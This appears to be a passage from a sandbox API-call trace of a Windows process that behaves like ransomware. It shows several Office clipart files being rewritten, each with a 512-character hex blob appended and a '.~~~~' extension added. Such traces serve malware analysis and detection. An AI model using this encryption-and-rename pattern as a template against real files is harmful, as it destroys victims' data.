	[0102.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0102.783] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.783] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.783] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.783] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.783] CloseHandle (hObject=0x144) returned 1
	[0102.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.784] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.~~~~")) returned 1
	[0102.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0102.785] GetLastError () returned 0x0
	[0102.785] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0102.787] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.787] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0102.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0102.787] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22277712446) returned 1
	[0102.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa6f38810, dwHighDateTime=0x1d60e1e)) 
	[0102.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0102.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0102.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0102.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28634e8
	[0102.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28634e8 | out: hHeap=0x300000) returned 1
	[0102.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28662b0
	[0102.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.788] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0102.788] GetLastError () returned 0x0
	[0102.788] GetLastError () returned 0x0
	[0102.788] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0102.789] GetLastError () returned 0x0
	[0102.789] GetLastError () returned 0x0
	[0102.908] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff7be0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.908] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x8420, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x8420, lpOverlapped=0x0) returned 1
	[0102.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0102.909] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.909] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.909] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.909] CloseHandle (hObject=0x144) returned 1
	[0102.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.~~~~")) returned 1
	[0102.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0102.911] GetLastError () returned 0x0
	[0102.911] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0102.913] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.913] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0102.913] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22290296144) returned 1
	[0102.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7069310, dwHighDateTime=0x1d60e1e)) 
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863590
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863590 | out: hHeap=0x300000) returned 1
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28666d8
	[0102.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.914] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0102.914] GetLastError () returned 0x0
	[0102.914] GetLastError () returned 0x0
	[0102.914] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0102.914] GetLastError () returned 0x0
	[0102.914] GetLastError () returned 0x0
	[0103.003] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff7472, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.003] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x8b8e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x8b8e, lpOverlapped=0x0) returned 1
	[0103.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0103.004] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.005] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.005] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.005] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.005] CloseHandle (hObject=0x144) returned 1
	[0103.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.005] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.~~~~")) returned 1
	[0103.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0103.006] GetLastError () returned 0x0
	[0103.007] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0103.008] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.008] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0103.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0103.008] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22299860561) returned 1
	[0103.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa714db50, dwHighDateTime=0x1d60e1e)) 
	[0103.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0103.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0103.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0103.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863670
	[0103.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863670 | out: hHeap=0x300000) returned 1
	[0103.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28668a0
	[0103.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.009] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0103.009] GetLastError () returned 0x0
	[0103.010] GetLastError () returned 0x0
	[0103.010] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0103.010] GetLastError () returned 0x0
	[0103.010] GetLastError () returned 0x0
	[0103.079] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffde26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.079] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x21da, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x21da, lpOverlapped=0x0) returned 1
	[0103.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0103.081] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.081] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.081] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.081] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.081] CloseHandle (hObject=0x144) returned 1
	[0103.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.~~~~")) returned 1
	[0103.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0103.082] GetLastError () returned 0x0
	[0103.083] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0103.084] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.084] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0103.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0103.084] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22307591702) returned 1
	[0103.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa720c230, dwHighDateTime=0x1d60e1e)) 
	[0103.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0103.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0103.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0103.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28637c0
	[0103.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28637c0 | out: hHeap=0x300000) returned 1
	[0103.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866b00
	[0103.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.087] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0103.087] GetLastError () returned 0x0
	[0103.087] GetLastError () returned 0x0
	[0103.087] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0103.087] GetLastError () returned 0x0
	[0103.087] GetLastError () returned 0x0
	[0103.099] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd284, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.099] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2d7c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x2d7c, lpOverlapped=0x0) returned 1
	[0103.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0103.101] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.101] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.101] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.101] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.101] CloseHandle (hObject=0x144) returned 1
	[0103.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0103.110] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.~~~~")) returned 1
	[0103.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0103.123] GetLastError () returned 0x0
	[0103.124] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0103.126] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.126] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0103.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0103.126] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22311646762) returned 1
	[0103.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa727e650, dwHighDateTime=0x1d60e1e)) 
	[0103.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0103.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0103.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0103.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863868
	[0103.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863868 | out: hHeap=0x300000) returned 1
	[0103.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0103.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866e90
	[0103.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.127] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0103.128] GetLastError () returned 0x0
	[0103.128] GetLastError () returned 0x0
	[0103.128] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0103.128] GetLastError () returned 0x0
	[0103.128] GetLastError () returned 0x0
	[0103.148] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffcfc0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
